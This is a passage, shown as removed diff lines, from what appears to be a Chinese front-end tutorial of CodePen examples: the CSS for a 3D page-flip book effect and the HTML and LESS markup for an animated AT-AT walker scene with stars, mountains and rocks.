-                      <div></div>
-                    </div>
-                  </div>
-                </div>
-              </div>
-            </div>
-          </div>
-        </div>
-      </div>
-    </div>
-  </div>
-</div>
-<h4>CSS 3D Bending Effect - Page Flip</h4>
-
-CSS:
-
-/* remember to use - transform-style: preserve-3d; */
-html,body {
-  height:100%;
-  overflow: hidden;
-}
-body {
-  background: radial-gradient(#E4CEA6, #9C8763);
-  perspective: 900px;
-  margin: 0;
-}
-#flip {
-  animation: wrapper 6s ease-in-out infinite;
-  height: 350px;
-  width: 253px;
-  position: absolute;
-  left: 50%;
-  top: 30%;
-  transform: translateZ(-10px) rotateX(60deg) rotateZ(29deg) rotateY(0deg)!important;
-  transform-style: preserve-3d;
-  transform-origin: 0 0 0;
-}
-@keyframes wrapper {
-  50% {
-    transform: translateZ(-10px) rotateX(60deg) rotateZ(29deg) rotateY(-180deg);
-  }
-}
-#flip div {
-  height: 350px;
-  width: 24px;
-  position: absolute;
-  left: calc(100% - 1px);
-  transform-origin: 0 100%;
-  transform-style: preserve-3d;
-  background-size: 253px 350px;
-}
-#flip #front,
-#flip #front div {
-  background-image: url(http://blogs.slj.com/afuse8production/files/2012/06/Hobbit1.jpg);
-  box-shadow: inset rgba(255,255,255,0.3) 0px -1px 0 0,#35582C 0px 1px 0px 0px;
-}
-#flip #front > div > div > div > div > div > div > div > div > div > div {
-  box-shadow: inset rgba(255,255,255,0.3) -1px -1px 0 0, #35582C 1px 1px 0px 0px;
-}
-#flip #back { transform: rotateY(.4deg); transform-origin: -100% 0; } /* avoid pages overlap */
-#flip #back,
-#flip #back div {
-  background-image: url(https://s3-us-west-2.amazonaws.com/s.cdpn.io/164210/map1_.jpg);
-}
-
-#flip > div {  left: 0;  background-position-x: 0; }
-#flip div > div { background-position-x: -23px; animation: page 6s ease-in-out infinite; }
-#flip div > div > div { background-position-x : -46px; }
-#flip div > div > div > div { background-position-x : -69px; }
-#flip div > div > div > div > div { background-position-x : -92px; }
-#flip div > div > div > div > div > div { background-position-x : -115px; }
-#flip div > div > div > div > div > div > div { background-position-x : -138px; }
-#flip div > div > div > div > div > div > div > div  { background-position-x : -161px; }
-#flip div > div > div > div > div > div > div > div > div { background-position-x : -184px; }
-#flip div > div > div > div > div > div > div > div > div > div { background-position-x : -207px; }
-#flip div > div > div > div > div > div > div > div > div > div > div { background-position-x : -229px; }
-/* the more pieces you have, the smoother the bend is */
-
-@keyframes page {
-  15% { transform: rotateY(-10deg); }
-  50% { transform: rotateY(-2deg); }
-  65% { transform: rotateY(10deg); }
-  100% { transform: rotateY(0deg); }
-}
-
-#book {
-  width: 248px;
-  height: 350px;
-  position: absolute;
-  left:50%;
-  top: 30%;
-  transform: translate3d(0px,0px,-10px) rotateX(60deg) rotateZ(29deg);
-  transform-style: preserve-3d;
-  -webkit-transform-origin: 0 0 0;
-}
-@keyframes book {
-  25% {
-    box-shadow: inset rgba(0,0,0,.2) 0px 0 50px -140px;
-  }
-  50% {
-    box-shadow: inset rgba(0,0,0,.2) 0px 0 50px -140px;
-  }
-  100% {
-    box-shadow: inset rgba(0,0,0,.2) 510px 0 50px -140px;
-  }
-}
-#book #top {
-  animation: book 6s ease-in-out infinite;
-  background: url(https://s3-us-west-2.amazonaws.com/s.cdpn.io/164210/map2.jpg);
-  background-size: 100% 100%;
-  background-position: 100%;
-  box-shadow: inset rgba(0,0,0,0.2) 510px 0 50px -140px;
-  height: 350px;
-  width: 248px;
-  position: absolute;
-  left: 0;
-  top: 0;
-}
-#book #bottom {
-  background: #E7DED1;
-  box-shadow: rgba(83, 53, 13, 0.2) 4px 2px 1px,
-              #35582C 1px 1px 0px 0px;
-  height: 350px;
-  width: 253px;
-  position: absolute;
-  transform: translateZ(-40px);
-  left: 0;
-  top: 0;
-}
-#book #shadow {
-  animation: shadow 6s ease-in-out infinite;
-  box-shadow: inset rgba(83, 53, 13, 0) -200px 0 150px -140px;
-  height: 350px;
-  width: 248px;
-  position: absolute;
-  left: -100%;
-  top: 0;
-  transform: translateZ(-40px);
-}
-@keyframes shadow {
-  20% {
-    box-shadow: inset rgba(83, 53, 13, 0) -200px 0 150px -140px;
-  }
-  50% {
-    box-shadow: inset rgba(83, 53, 13, 0.3) -350px 0 150px -140px;
-  }
-  60% {
-    box-shadow: inset rgba(83, 53, 13, 0) -200px 0 150px -140px;
-  }
-}
-#book #front {
-  background: -webkit-linear-gradient(top,#FCF6EA, #D8D1C3);
-  background-size: 100% 2px;
-  box-shadow: inset #C2BBA2 3px 0 0px, #35582C -2px 1px 0px 0px;
-  height: 40px;
-  width: 251px;
-    left: -3px;
-  position: absolute;
-  bottom: -40px;
-  transform: rotateX(-90deg);
-  transform-origin: 50% 0;
-  border-top-left-radius: 5px;
-  border-bottom-left-radius: 5px;
-}
-#book #right {
-  background: -webkit-linear-gradient(left,#DDD2BB, #BDB3A0);
-  background-size: 2px 100%;
-  box-shadow: inset rgba(0,0,0,0) 0 0 0 20px;
-  height: 100%;
-  width: 40px;
-  position: absolute;
-  right: -40px;
-  top: 0;
-  transform: rotateY(90deg);
-  transform-origin: 0 50%;
-}
-
-h4 {
-  position: absolute;
-  bottom: 20px;
-  left: 20px;
-  margin: 0;
-  font-weight: 200;
-  opacity: 1;
-	font-family: sans-serif;
-  color: rgba(0,0,0,0.3);
-}
-
-/* bookmark */
-
-#bookmark {
-  position: absolute;
-  transform: translate3d(20px,350px,-16px);
-  transform-style: preserve-3d;
-}
-#bookmark div {
-  background: rgb(151, 88, 88);
-  box-shadow: rgb(133,77,77) 1px 0;
-  height: 10px;
-  width: 20px;
-  position: absolute;
-  top: 9px;
-  transform: rotateX(-14deg);
-  transform-origin: 50% 0;
-  transform-style: preserve-3d;
-}
-#bookmark > div > div {
-  background: linear-gradient(top, rgb(151, 88, 88), rgb(189, 123, 123), rgb(151, 88, 88));
-}
-#bookmark > div > div > div {
-  background: linear-gradient(top,rgb(151, 88, 88),rgb(133, 77, 77));
-}
-#bookmark > div > div > div > div {
-  background: none;
-  border-top: 0px solid transparent;
-  border-right: 10px solid rgb(133, 77, 77);
-  border-bottom: 10px solid transparent;
-  border-left: 10px solid rgb(133, 77, 77);
-  height: 0;
-  width: 0;
-}
-#bookmark-shadow {
-  background: linear-gradient(top,rgba(83, 53, 13, 0.25),rgba(83, 53, 13, 0.11));
-  height: 15px;
-  width: 20px;
-  position: absolute;
-  transform: translate3d(12px,350px,-25px) rotateX(-90deg) skewX(20deg);
-  transform-origin: 0 0;
-}
-
-JS:
-
-//You may also like Plugin
-/*alsolike(
-  "iqtlk", "Pure CSS Weather Icons",
-  "nKCsI", "Semantic Sandwich",
-  "vlrnd", "CSS Only iPhone 6"
-);*/
-```
-
-效果预览：[https://codepen.io/fbrz/pen/whxbF](https://codepen.io/fbrz/pen/whxbF)
-
-#### 案例3
-
-```
-HTML:
-
-<section>
-        <div class="at-at">
-      <div class="at-at-content">
-        <div class="at-at-body">
-          <div class="at-at-head">
-            <div class="at-at-neck">
-              <div class="neck-ribs">
-                <div class="neck-cable-first"></div>
-                <div class="neck-cable-second"></div>
-                <div class="neck-cable-last"></div>
-                <i></i><i></i><i></i><i></i>
-              </div>
-              <div class="neck-bg"></div>
-            </div>
-            <div class="head-bg">
-              <div class="head-snout">
-                <div class="in-head-snout"></div>
-                <div class="head-snout-gun"></div>
-              </div>
-              <i class="head-bg-first"></i>
-              <i class="head-bg-second"></i>
-            </div>
-            <div class="head">
-              <div class="head-chin">
-                <i class="head-chin-bg-first"></i>
-                <i class="head-chin-bg-second"></i>
-                <i class="head-gun"></i>
-                <i class="fire"><i></i><i></i><i></i></i>
-              </div>
-            </div>
-            <i class="head-left-bg"></i>
-            <i class="head-top-bg"></i>
-          </div>
-          <div class="at-at-body-left">
-            <i class="at-at-body-left-bg-1"></i>
-            <i class="at-at-body-left-bg-2"></i>
-            <i class="at-at-body-left-bg-3"></i>
-            <i class="at-at-body-left-bg-4"></i>
-            <i class="at-at-body-left-bg-5"></i>
-            <div class="at-at-body-left-bg"></div>
-          </div>
-          <div class="at-at-body-right">
-            <i class="at-at-body-right-bg-1"></i>
-            <i class="at-at-body-right-bg-2"></i>
-            <i class="at-at-body-right-bg-3"></i>
-            <i class="at-at-body-right-bg-4"></i>
-            <i class="at-at-body-right-bg-5"></i>
-            <div class="at-at-body-right-bg"></div>
-          </div>
-          <div class="at-at-body-bottom">
-            <div class="at-at-body-bottom-bg"><i></i><i></i><i></i></div>
-            <div class="body-bottom-left"></div>
-          </div>
-          <div class="at-at-body-bg">
-            <i></i><i></i><i></i><i></i>
-            <div class="i"></div>
-          </div>
-          <div class="at-at-body-bg-first-block">
-            <i class="at-at-body-bg-first-block-item-1"></i>
-            <i class="at-at-body-bg-first-block-item-2"></i>
-            <i class="at-at-body-bg-first-block-item-3"></i>
-          </div>
-          <div class="at-at-body-bg-second-block">
-            <i class="at-at-body-bg-second-block-item-1"></i>
-            <i class="at-at-body-bg-second-block-item-2"></i>
-          </div>
-          <div class="at-at-body-bg-third-block">
-            <i class="at-at-body-bg-third-block-item-1"></i>
-            <i class="at-at-body-bg-third-block-item-2"></i>
-            <i class="at-at-body-bg-third-block-item-3"></i>
-          </div>
-        </div>
-        <div class="dark-bg">
-          <i class="dark-bg-right"></i>
-        </div>
-      </div>
-      <div class="leg-content leg-front">
-        <div class="leg-first-joint"><i></i></div>
-        <div class="leg-first">
-          <i class="leg-first-hr-a"></i>
-          <i class="leg-first-hr-b"></i>
-          <div class="in-first-leg">
-            <div class="leg-second-joint"><i></i></div>
-            <div class="leg-second">
-              <i class="leg-second-hr"></i>
-              <div class="in-second-leg">
-                <div class="foot-joint"><i class="foot-ankle"><i class="foot-ankle-bg"></i></i></div>
-                <div class="foot-ankle-bottom"></div>
-                <div class="foot-ankle-space"></div>
-                <div class="foot">
-                  <div class="foot-bottom"></div>
-                  <div class="foot-land"></div>
-                </div>
-              </div>
-            </div>
-          </div>
-        </div>
-      </div>
-      <div class="leg-content leg-rear">
-        <div class="leg-first-joint"><i></i></div>
-        <div class="leg-first">
-          <i class="leg-first-hr-a"></i>
-          <i class="leg-first-hr-b"></i>
-          <div class="in-first-leg">
-            <div class="leg-second-joint"><i></i></div>
-            <div class="leg-second">
-              <i class="leg-second-hr"></i>
-              <div class="in-second-leg">
-                <div class="foot-joint"><i class="foot-ankle"><i class="foot-ankle-bg"></i></i></div>
-                <div class="foot-ankle-bottom"></div>
-                <div class="foot-ankle-space"></div>
-                <div class="foot">
-                  <div class="foot-bottom"></div>
-                  <div class="foot-land"></div>
-                </div>
-              </div>
-            </div>
-          </div>
-        </div>
-      </div>
-      <div class="leg-content leg-front-back">
-        <div class="leg-first-joint"><i></i></div>
-        <div class="leg-first">
-          <i class="leg-first-hr-a"></i>
-          <i class="leg-first-hr-b"></i>
-          <div class="in-first-leg">
-            <div class="leg-second-joint"><i></i></div>
-            <div class="leg-second">
-              <i class="leg-second-hr"></i>
-              <div class="in-second-leg">
-                <div class="foot-joint"><i class="foot-ankle"><i class="foot-ankle-bg"></i></i></div>
-                <div class="foot-ankle-bottom"></div>
-                <div class="foot-ankle-space"></div>
-                <div class="foot">
-                  <div class="foot-bottom"></div>
-                  <div class="foot-land"></div>
-                </div>
-              </div>
-            </div>
-          </div>
-        </div>
-      </div>
-      <div class="leg-content leg-rear-back">
-        <div class="leg-first-joint"><i></i></div>
-        <div class="leg-first">
-          <i class="leg-first-hr-a"></i>
-          <i class="leg-first-hr-b"></i>
-          <div class="in-first-leg">
-            <div class="leg-second-joint"><i></i></div>
-            <div class="leg-second">
-              <i class="leg-second-hr"></i>
-              <div class="in-second-leg">
-                <div class="foot-joint"><i class="foot-ankle"><i class="foot-ankle-bg"></i></i></div>
-                <div class="foot-ankle-bottom"></div>
-                <div class="foot-ankle-space"></div>
-                <div class="foot">
-                  <div class="foot-bottom"></div>
-                  <div class="foot-land"></div>
-                </div>                      
-              </div>
-            </div>
-          </div>
-        </div>
-      </div>
-  </div>
-
-        <div class="bg">
-            <i class="star star-1"></i>
-            <i class="star star-2"></i>
-            <i class="star star-3"></i>
-            <i class="star star-4"></i>
-            <i class="star star-5"></i>
-            <i class="star star-6"></i>
-            <i class="star-small star-small-1"></i>
-            <i class="star-small star-small-2"></i>
-            <i class="star-small star-small-3"></i>
-            <i class="star-small star-small-4"></i>
-            <i class="star-small star-small-5"></i>
-            <i class="star-small star-small-6"></i>
-            <i class="star-small star-small-7"></i>
-            <i class="star-small star-small-8"></i>
-            <i class="star-small star-small-9"></i>
-            <i class="star-small star-small-10"></i>
-        </div>
-        <i class="moon"></i>
-        <i class="mountain-first">
-            <i class="mountain-shadow"></i>
-        </i>
-        <i class="mountain-second">
-            <i class="mountain-shadow"></i>
-            <span class="mountain-top"></span>
-        </i>
-        <div class="first-bg">
-            <div class="first-bg-anim">
-                <i class="first"></i>
-                <i class="second"></i>
-                <i class="third"></i>
-                <i class="last"></i>
-            </div>
-            <div class="second-bg-anim">
-                <div class="first-rock-content">
-                    <div class="rock-content rock-content-1">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                    <div class="rock-content rock-content-2">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                    <div class="rock-content rock-content-3">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                    <div class="rock-content rock-content-4">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                    <div class="rock-content rock-content-5">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                    <div class="rock-content rock-content-6">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                </div>
-                <div class="second-rock-content">
-                    <div class="rock-content rock-content-1">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                    <div class="rock-content rock-content-2">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                    <div class="rock-content rock-content-3">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                    <div class="rock-content rock-content-4">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                    <div class="rock-content rock-content-5">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                    <div class="rock-content rock-content-6">
-                        <i class="rock rock-big rock-1"></i>
-                        <i class="rock rock-big rock-2"></i>
-                        <i class="rock rock-big rock-3"></i>    
-                        <i class="rock rock-middle rock-7"></i>
-                        <i class="rock rock-middle rock-8"></i>
-                        <i class="rock rock-middle rock-9"></i>
-                        <i class="rock rock-middle rock-10"></i>
-                        <i class="rock rock-middle rock-11"></i>
-                        <i class="rock rock-middle rock-12"></i>
-                        <i class="rock rock-middle rock-13"></i>
-                        <i class="rock rock-middle rock-14"></i>
-                    </div>
-                </div>
-            </div>
-        </div>
-
-        <div class="space-ship space-ship-small">
-      <i class="space-ship-wing"></i>
-      <i class="space-ship-bg"><i class="space-ship-gun"></i></i>
-        </div>
-        <div class="space-ship space-ship-big">
-      <i class="space-ship-wing"></i>
-      <i class="space-ship-bg"><i class="space-ship-gun"></i></i>
-        </div>
-    </section>
-
-LESS:
-
-// BODY
-// ---------
-*{
-  -webkit-box-sizing: border-box;
-   -khtml-box-sizing: border-box;
-     -moz-box-sizing: border-box;
-      -ms-box-sizing: border-box;
-          box-sizing: border-box;
-  *behavior: url(js/libs/boxsizing.htc);
-}
-html, body {
-  .square(100%);
-}
-
-body {
-  margin: 0;
-  line-height: 1;
-  color:@black;
-  background:#0092ff;
-}
-
-
-// LAYOUT
-// ---------
-section{
-  position:relative;
-  .square(100%);
-  min-height:500px;
-  overflow:hidden;
-}
-
-.bg{
-  position:absolute;
-  left:0;
-  top:0;
-  .size(100%, 70%);
-  z-index:1;
-
-  .star{
-    position:absolute;
-    .square(10px);
-    .border-radius(6px);
-    background:@white;
-    .opacity(50);
-  }
-  .star-small{
-    position:absolute;
-    .square(5px);
-    .border-radius(3px);
-    background:@white;
-    .opacity(50);
-  }
-  .star-1{
-    left:5%;
-    top:40%;
-  }
-  .star-2{
-    left:20%;
-    top:5%;
-  }
-  .star-3{
-    left:40%;
-    top:20%;
-  }
-  .star-4{
-    left:60%;
-    top:5%;
-  }
-  .star-5{
-    left:80%;
-    top:60%;
-  }
-  .star-6{
-    left:95%;
-    top:10%;
-  }
-
-  .star-small-1{
-    left:10%;
-    top:15%;
-  }
-  .star-small-2{
-    left:14%;
-    top:25%;
-  }
-  .star-small-3{
-    left:8%;
-    top:60%;
-  }
-  .star-small-4{
-    left:25%;
-    top:40%;
-  }
-  .star-small-5{
-    left:18%;
-    top:75%;
-  }
-  .star-small-6{
-    left:50%;
-    top:40%;
-  }
-  .star-small-7{
-    left:60%;
-    top:20%;
-  }
-  .star-small-8{
-    left:70%;
-    top:40%;
-  }
-  .star-small-9{
-    left:90%;
-    top:20%;
-  }
-  .star-small-10{
-    left:85%;
-    top:40%;
-  }
-}
-.moon{
-  position:absolute;
-  left:50%;
-  top:25%;
-  margin:-60px 0 0 -260px;
-  .size(180px, 180px);
-  .border-radius(90px);
-  background: -moz-linear-gradient(-45deg,  rgba(255,255,255,1) 0%, rgba(255,255,255,0.99) 1%, rgba(255,255,255,0) 70%);
-  background: -webkit-gradient(linear, left top, right bottom, color-stop(0%,rgba(255,255,255,1)), color-stop(1%,rgba(255,255,255,0.99)), color-stop(70%,rgba(255,255,255,0)));
-  background: -webkit-linear-gradient(-45deg,  rgba(255,255,255,1) 0%,rgba(255,255,255,0.99) 1%,rgba(255,255,255,0) 70%);
-  background: -o-linear-gradient(-45deg,  rgba(255,255,255,1) 0%,rgba(255,255,255,0.99) 1%,rgba(255,255,255,0) 70%);
-  background: -ms-linear-gradient(-45deg,  rgba(255,255,255,1) 0%,rgba(255,255,255,0.99) 1%,rgba(255,255,255,0) 70%);
-  background: linear-gradient(135deg,  rgba(255,255,255,1) 0%,rgba(255,255,255,0.99) 1%,rgba(255,255,255,0) 70%);
-  .rotate(90deg);
-  z-index:5;
-}
-.mountain-first{
-  position:absolute;
-  left:0;
-  top:50%;
-  margin-top:-260px;
-  .size(550px, 400px);
-  z-index:1;
-
-  &:before{
-    content:'';
-    position:absolute;
-    left:-100px;
-    bottom:0;
-    .square(0);
-    border-style: solid;
-    border-width: 0 300px 300px 200px;
-    border-color: transparent transparent #4cb3ff transparent;
-    z-index:2;
-  }
-  &:after{
-    content:'';
-    position:absolute;
-    left:0;
-    bottom:0;
-    .size(100%, 60%);
-    background: -moz-linear-gradient(top,  rgba(125,185,232,0) 0%, rgba(0,146,255,1) 65%);
-    background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(125,185,232,0)), color-stop(65%,rgba(0,146,255,1)));
-    background: -webkit-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
-    background: -o-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
-    background: -ms-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
-    background: linear-gradient(to bottom,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
-    .opacity(80);
-    z-index:4;
-  }
-  .mountain-shadow{
-    position:absolute;
-    left:-100px;
-    bottom:0;
-    .square(0);
-    border-style: solid;
-    border-width: 0 450px 300px 200px;
-    border-color: transparent transparent #7bc7ff transparent;
-  }
-}
-.mountain-second{
-  position:absolute;
-  right:-10px;
-  top:50%;
-  margin-top:-240px;
-  .size(500px, 400px);
-  z-index:1;
-
-  &:before{
-    content:'';
-    position:absolute;
-    left:0;
-    bottom:0;
-    .square(0);
-    border-style: solid;
-    border-width: 0 350px 350px 300px;
-    border-color: transparent transparent #4cb3ff transparent;
-    z-index:2;
-  }
-  &:after{
-    content:'';
-    position:absolute;
-    left:0;
-    bottom:0;
-    .size(100%, 100%);
-    background: -moz-linear-gradient(top,  rgba(125,185,232,0) 0%, rgba(0,146,255,1) 65%);
-    background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(125,185,232,0)), color-stop(65%,rgba(0,146,255,1)));
-    background: -webkit-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
-    background: -o-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
-    background: -ms-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
-    background: linear-gradient(to bottom,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
-    .opacity(80);
-    z-index:4;
-  }
-  .mountain-shadow{
-    position:absolute;
-    left:0;
-    bottom:0;
-    .square(0);
-    border-style: solid;
-    border-width: 0 650px 350px 300px;
-    border-color: transparent transparent #7bc7ff transparent;
-  }
-  .mountain-top{
-    position:absolute;
-    left:50%;
-    top:110px;
-    margin:0 0 0 30px;
-    .square(50px);
-    z-index:8;
-
-    &:after{
-      content:'';
-      position:absolute;
-      left:0;
-      top:0;
-      border-style: solid;
-      border-width: 0 50px 20px 50px;
-      border-color: transparent transparent #50b4ff transparent;
-      .rotate(-125deg);
-    }
-    &:before{
-      content:'';
-      position:absolute;
-      left:-5px;
-      top:0;
-      border-style: solid;
-      border-width: 0 50px 20px 50px;
-      border-color: transparent transparent #50b4ff transparent;
-      .rotate(30deg);
-    }
-  }
-}
-
-.first-bg{
-  position:absolute;
-  left:-10%;
-  top:50%;
-  margin-top:120px;
-  .size(120%, 10px);
-  border-bottom: 580px solid #104166;
-  border-left: 8px solid transparent;
-  border-right: 14px solid transparent;
-  height: 0;
-  .rotate(2deg);
-  z-index:100;
-}
-.first-bg-anim{
-  position:absolute;
-  left:0;
-  top:0;
-  .size(100%, auto);
-
-  .first{
-    position:absolute;
-    left:-10%;
-    bottom:-5px;
-    .square(0);
-    border-style: solid;
-    border-width: 0 160px 60px 80px;
-    border-color: transparent transparent #104166 transparent;
-    animation: first-rock 30s infinite;
-    animation-fill-mode: forwards;
-    animation-timing-function: linear;
-
-    &:before{
-      content:'';
-      position:absolute;
-      left:0px;
-      top:30px;
-      .square(0);
-      border-style: solid;
-      border-width: 0 60px 20px 40px;
-      border-color: transparent transparent #0c4a78 transparent;
-      .rotate(-160deg);
-    }
-  }
-  .second{
-    position:absolute;
-    left:-10%;
-    bottom:-5px;
-    .square(0);
-    border-style: solid;
-    border-width: 0 80px 80px 160px;
-    border-color: transparent transparent #104166 transparent;
-    animation: first-rock 30s infinite;
-    animation-delay: 8s;
-    animation-fill-mode: forwards;
-    animation-timing-function: linear;
-
-    &:before{
-      content:'';
-      position:absolute;
-      left:-30px;
-      top:35px;
-      .square(0);
-      border-style: solid;
-      border-width: 0 20px 40px 60px;
-      border-color: transparent transparent #0c4a78 transparent;
-      .rotate(-135deg);
-    }
-  }
-  .third{
-    position:absolute;
-    left:-10%;
-    bottom:-5px;
-    .square(0);
-    border-style: solid;
-    border-width: 0 160px 60px 80px;
-    border-color: transparent transparent #104166 transparent;
-    animation: first-rock 30s infinite;
-    animation-delay: 16s;
-    animation-fill-mode: forwards;
-    animation-timing-function: linear;
-
-    &:before{
-      content:'';
-      position:absolute;
-      left:0px;
-      top:30px;
-      .square(0);
-      border-style: solid;
-      border-width: 0 60px 20px 40px;
-      border-color: transparent transparent #0c4a78 transparent;
-      .rotate(-160deg);
-    }
-  }
-  .last{
-    position:absolute;
-    left:-10%;
-    bottom:-5px;
-    .square(0);
-    border-style: solid;
-    border-width: 0 80px 80px 160px;
-    border-color: transparent transparent #104166 transparent;
-    animation: first-rock 30s infinite;
-    animation-delay:24s;
-    animation-fill-mode: forwards;
-    animation-timing-function: linear;
-
-    &:before{
-      content:'';
-      position:absolute;
-      left:-30px;
-      top:35px;
-      .square(0);
-      border-style: solid;
-      border-width: 0 20px 40px 60px;
-      border-color: transparent transparent #0c4a78 transparent;
-      .rotate(-135deg);
-    }
-  }
-}
-
-.second-bg-anim{
-  position:absolute;
-  left:0;
-  top:0;
-  .size(100%, auto);
-
-  .first-rock-content{
-    position:absolute;
-    left:0;
-    top:0;
-    .size(100%, 100%);
-    animation: rock 20s infinite;
-    animation-fill-mode: forwards;
-    animation-timing-function: linear;
-  }
-  .second-rock-content{
-    //display:none;
-    position:absolute;
-    left:-100%;
-    top:0;
-    .size(100%, 100%);
-    animation: rock 20s infinite;
-    animation-fill-mode: forwards;
-    animation-timing-function: linear;
-  }
-  .rock{
-    position:absolute;
-    overflow:hidden;
-
-    &:before{
-      content:'';
-      position:absolute;
-      left:50%;
-      top:0;
-      .border-radius(50px);
-      background:#0c4a78;
-    }
-  }
-  .rock-middle{
-    .size(60px, 10px);
-
-    &:before{
-      margin:0 0 0 -50px;
-      .square(100px);
-    }
-  }
-  .rock-big{
-    .size(76px, 22px);
-
-    &:before{
-      margin:0 0 0 -50px;
-      .square(100px);
-    }
-  }
-  .rock-content{
-    //display:none;
-    position:absolute;
-    top:0;
-    .size(25%, 100%);
-  }
-  .rock-content-1{
